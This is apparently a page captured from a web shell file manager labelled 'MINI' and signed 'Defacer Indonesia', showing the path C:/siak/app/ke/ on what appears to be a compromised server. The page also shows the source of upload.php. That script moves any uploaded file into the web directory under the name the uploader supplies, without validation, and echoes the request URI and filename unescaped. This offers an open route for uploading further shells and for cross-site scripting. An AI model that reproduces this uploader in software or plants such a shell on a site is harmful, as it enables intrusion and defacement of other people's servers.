MINI
C:
/
siak
/
app
/
ke
/
Upload File:
files >> C:/siak/app/ke/upload.php
<?php error_reporting(-1); ?> <a href="index.php">Go back to index</a> | <a href="<?php echo $_SERVER["REQUEST_URI"];?>">Refresh</a> <title>Upload</title> <h1>Upload</h1> <p>Temp directory: <?php echo sys_get_temp_dir(); ?></p> <form enctype="multipart/form-data" action="upload.php" method="POST"> Max file size: 1 MB<br> <input type="hidden" name="MAX_FILE_SIZE" value="1000000" /> Send this file: <input name="myfile" type="file" /> <input type="submit" value="Send File" /> </form> <h2>$_FILES</h2> <pre style="background=#ddd"> <?php print_r($_FILES); ?> </pre> <?php if (count($_FILES)): ?> <?php $myfile = $_FILES["myfile"]["tmp_name"]; ?> <h2>Check the uploaded file</h2> <pre style="background=#ddd"> is_file() = <?php echo is_file($myfile); ?> is_readable() = <?php echo is_readable($myfile); ?> is_writable() = <?php echo is_writable($myfile); ?> </pre> <h2>Move the uploaded file</h2> <?php move_uploaded_file($myfile, __DIR__."/".basename($_FILES["myfile"]["name"])); ?> <p> The uploaded file (<?php echo $_FILES["myfile"]["name"]; ?>) was moved to the www/ directory using the <b>move_uploaded_file()</b> function. See the listing of files by going to <a href="index.php">index.php</a> </p> <?php endif; ?>
Copyright ©2021 || Defacer Indonesia